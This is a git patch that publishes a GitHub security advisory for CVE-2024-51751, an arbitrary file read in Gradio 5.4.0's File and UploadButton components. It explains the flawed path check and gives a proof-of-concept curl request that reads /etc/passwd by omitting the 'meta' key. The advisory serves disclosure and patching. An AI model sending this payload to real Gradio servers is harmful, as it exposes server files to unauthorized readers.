From 7dbfb1f72a9f95109f8d45d47c927420eada9770 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 6 Nov 2024 16:31:20 +0000 Subject: [PATCH] Publish GHSA-rhm9-gp5p-5248 --- .../GHSA-rhm9-gp5p-5248.json | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 advisories/github-reviewed/2024/11/GHSA-rhm9-gp5p-5248/GHSA-rhm9-gp5p-5248.json diff --git a/advisories/github-reviewed/2024/11/GHSA-rhm9-gp5p-5248/GHSA-rhm9-gp5p-5248.json b/advisories/github-reviewed/2024/11/GHSA-rhm9-gp5p-5248/GHSA-rhm9-gp5p-5248.json new file mode 100644 index 00000000000..76162219ff3 --- /dev/null +++ b/advisories/github-reviewed/2024/11/GHSA-rhm9-gp5p-5248/GHSA-rhm9-gp5p-5248.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-rhm9-gp5p-5248", + "modified": "2024-11-06T16:29:57Z", + "published": "2024-11-06T16:29:57Z", + "aliases": [ + "CVE-2024-51751" + ], + "summary": "Gradio vulnerable to arbitrary file read with File and UploadButton components", + "details": "### Summary\nIf File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.\n\n### Details\nConsider the following application where a user can upload a file and preview its content:\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n demo.launch()\n```\n\nIf we run this application and make the following request (which attempts to read the `/etc/passwd` file)\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\",\"meta\":{\"_type\":\"gradio.FileData\"}}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\nThen this results in the following error on the server\n\n```\ngradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.\n``` \n\nThis is expected. However, if we now remove the `\"meta\":{\"_type\":\"gradio.FileData\"}` from the request:\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\nThis doesn't cause an error and results in the content of /etc/passwd being shown in the response!\n\n\nThis works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation\n```\n return await client_utils.async_traverse(\n data, _move_to_cache, client_utils.is_file_obj_with_meta\n )\n```\nwhere `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path:\n\n```\ndef is_file_obj_with_meta(d) -> bool:\n \"\"\"\n Check if the given value is a valid FileData object dictionary in newer versions of Gradio\n where the file objects include a specific \"meta\" key, e.g.\n {\n \"path\": \"path/to/file\",\n \"meta\": {\"_type: \"gradio.FileData\"}\n }\n \"\"\"\n return (\n isinstance(d, dict)\n and \"path\" in d\n and isinstance(d[\"path\"], str)\n and \"meta\" in d\n and d[\"meta\"].get(\"_type\", \"\") == \"gradio.FileData\"\n )\n```\n\nFor example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`.\n\nThen, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places)\n\n### PoC\nAs described above, run the following Gradio app\n\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n demo.launch()\n```\n\nAnd make the following request\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\n### Impact\nArbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "gradio" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.4.0" + }, + { + "fixed": "5.5.0" + } + ] + } + ], + "versions": [ + "5.4.0" + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-rhm9-gp5p-5248" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gradio-app/gradio" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-11-06T16:29:57Z", + "nvd_published_at": null + } +} \ No newline at end of file